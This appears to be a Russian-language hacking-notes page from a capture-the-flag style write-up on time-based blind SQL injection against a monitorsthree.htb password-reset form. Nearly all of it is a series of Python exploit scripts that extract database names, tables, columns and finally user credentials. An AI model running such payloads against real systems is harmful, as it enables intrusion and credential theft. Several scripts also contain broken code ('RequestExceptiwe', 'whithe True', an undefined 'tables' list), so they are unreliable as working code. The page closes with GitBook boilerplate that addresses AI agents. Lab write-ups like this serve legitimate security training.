> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md).

# SQLi по времени

#### Автоматизация эксплуатации с помощью Python-скрипта

Мы разработали Python-скрипт для автоматизации извлечения данных через SQL-инъекцию. Скрипт извлекает имя базы данных, имена таблиц, имена столбцов и, наконец, конфиденциальные данные, такие как имена пользователей и пароли.

### База данных:

**Пример скрипта для извлечения имени базы данных:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1

```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi на основе времени
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Завершение.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info("Запуск атаки SQL-инъекцией...")
    for position in range(1, 100):
        character_found = False  # Индикатор для проверки, был ли найден символ
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            logger.debug(f"Проверка: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Запрос не выполнен: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Извлечённые данные на данный момент: {extracted_data}")
                character_found = True  # Символ найден
                break
        # Если в этой позиции не найден ни один символ, мы останавливаем цикл
        if not character_found:
            logger.info(f"Не найден символ в позиции {position}. Завершение извлечения.")
            break
    logger.info("SQL-инъекция завершена!")
    logger.info(f"Итоговые извлечённые данные: {extracted_data}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Выполнить атаку SQL-инъекцией на основе времени.")
    parser.add_argument("--url", required=True, help="Целевой URL для SQL-инъекции")
    parser.add_argument("--delay", type=float, default=0.85, help="Задержка для SQL-инъекции")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Имя базы данных**: `monitorsthree_db`

<figure><img src="/files/8b0fec855eca523b790db06e2918801066a45680" alt=""><figcaption></figcaption></figure>

### **Базы данных:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi на основе времени
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Завершение.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Извлечение имени базы данных по смещению {offset}...")
    for position in range(1, 100):
        character_found = False  # Индикатор для проверки, был ли найден символ
        for character in characters:
            # Форматируем SQL-запрос со всеми необходимыми переменными
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Проверка: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Запрос не выполнен: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Извлечённые данные на данный момент: {extracted_data}")
                character_found = True  # Символ найден
                break
        # Если в этой позиции не найден ни один символ, мы останавливаем цикл
        if not character_found:
            logger.info(f"Не найден символ в позиции {position}. Завершение извлечения.")
            break
    return extracted_data
def sqli(target_url, delay=1):
    # запрос для извлечения имен баз данных
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    databases = []
    offset = 0
    whithe True:
        database_name = extract_data(target_url, delay, query_template, offset)
        if not database_name:
            logger.info("Больше баз данных не найдено.")
            break
        databases.append(database_name)
        logger.info(f"Найдена база данных: {database_name}")
        offset += 1
    logger.info("SQL-инъекция завершена!")
    logger.info(f"Список баз данных: {databases}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Выполнить атаку SQL-инъекцией на основе времени.")
    parser.add_argument("--url", required=True, help="Целевой URL для SQL-инъекции")
    parser.add_argument("--delay", type=float, default=0.85, help="Задержка для SQL-инъекции")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/70ce27b7ac833ee59742c4612e5a895d9fbc3f03" alt=""><figcaption></figcaption></figure>

### **Таблицы:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi на основе времени
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Завершение.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Извлечение имени таблицы по смещению {offset}...")
    for position in range(1, 100):
        character_found = False  # Индикатор для проверки, был ли найден символ
        for character in characters:
            # Форматируем SQL-запрос со всеми необходимыми переменными
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Проверка: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Запрос не выполнен: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Извлечённые данные на данный момент: {extracted_data}")
                character_found = True  # Символ найден
                break
        # Если в этой позиции не найден ни один символ, мы останавливаем цикл
        if not character_found:
            logger.info(f"Не найден символ в позиции {position}. Завершение извлечения.")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # запрос для извлечения имен таблиц базы данных `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    table = []
    offset = 0
    whithe True:
        table_name = extract_data(target_url, delay, query_template, offset)
        if not table_name:
            logger.info("Больше таблиц не найдено.")
            break
        tables.append(table_name)
        logger.info(f"Найдена таблица: {table_name}")
        offset += 1
    logger.info("SQL-инъекция завершена!")
    logger.info(f"Список таблиц в monitorsthree_db: {tables}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Выполнить атаку SQL-инъекцией на основе времени.")
    parser.add_argument("--url", required=True, help="Целевой URL для SQL-инъекции")
    parser.add_argument("--delay", type=float, default=0.85, help="Задержка для SQL-инъекции")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Таблицы**: `invoices`, `customers`, `changelog`, `tasks`, `invoice_tasks`, `users`

<figure><img src="/files/b3d541c7e89a5cde02996fcfd6ded8647bd630a7" alt=""><figcaption></figcaption></figure>

### **Столбцы:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi на основе времени
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Завершение.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Извлечение имени столбца по смещению {offset}...")
    for position in range(1, 100):
        character_found = False  # Индикатор для проверки, был ли найден символ
        for character in characters:
            # Форматируем SQL-запрос со всеми необходимыми переменными
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Проверка: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Запрос не выполнен: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Извлечённые данные на данный момент: {extracted_data}")
                character_found = True  # Символ найден
                break
        # Если в этой позиции не найден ни один символ, мы останавливаем цикл
        if not character_found:
            logger.info(f"Не найден символ в позиции {position}. Завершение извлечения.")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # запрос для извлечения имен столбцов таблицы `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    columns = []
    offset = 0
    whithe True:
        column_name = extract_data(target_url, delay, query_template, offset)
        if not column_name:
            logger.info("Больше столбцов не найдено.")
            break
        columns.append(column_name)
        logger.info(f"Найден столбец: {column_name}")
        offset += 1
    logger.info("SQL-инъекция завершена!")
    logger.info(f"Список столбцов в таблице 'users': {columns}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Выполнить атаку SQL-инъекцией на основе времени.")
    parser.add_argument("--url", required=True, help="Целевой URL для SQL-инъекции")
    parser.add_argument("--delay", type=float, default=0.85, help="Задержка для SQL-инъекции")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Столбцы таблицы `users`**: `id`, `username`, `email`, `пароль`, `name`, `position`, `dob`, `start_date`, `salary`

<figure><img src="/files/f75c89d0b4b3812503b618548c42ef2c05432376" alt=""><figcaption></figcaption></figure>

### **Извлечённые данные**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi на основе времени
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Завершение.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Извлечение данных по смещению {offset}...")
    for position in range(1, 100):
        character_found = False  # Индикатор для проверки, был ли найден символ
        for character in characters:
            # Форматируем SQL-запрос со всеми необходимыми переменными
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Проверка: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Запрос не выполнен: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Извлечённые данные на данный момент: {extracted_data}")
                character_found = True  # Символ найден
                break
        # Если в этой позиции не найден ни один символ, мы останавливаем цикл
        if not character_found:
            logger.info(f"Не найден символ в позиции {position}. Завершение извлечения.")
            break
    return extracted_data
def extract_credentials(target_url, delay=0.85):
    # запрос для извлечения имён пользователей
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    # запрос для извлечения паролей
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    credentials = []
    offset = 0
    whithe True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        if not username or not password:
            logger.info("Больше учётных данных не найдено.")
            break
        credentials.append((username, password))
        logger.info(f"Найдены учётные данные: {username}:{password}")
        offset += 1
    logger.info("SQL-инъекция завершена!")
    logger.info(f"Список учётных данных: {credentials}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Выполнить атаку SQL-инъекцией на основе времени для извлечения учётных данных.")
    parser.add_argument("--url", required=True, help="Целевой URL для SQL-инъекции")
    parser.add_argument("--delay", type=float, default=0.85, help="Задержка для SQL-инъекции")
    args = parser.parse_args()
    extract_credentials(args.url, args.delay)

```

<figure><img src="/files/fe56b0f4ed695d88e103230044fa930b38344008" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
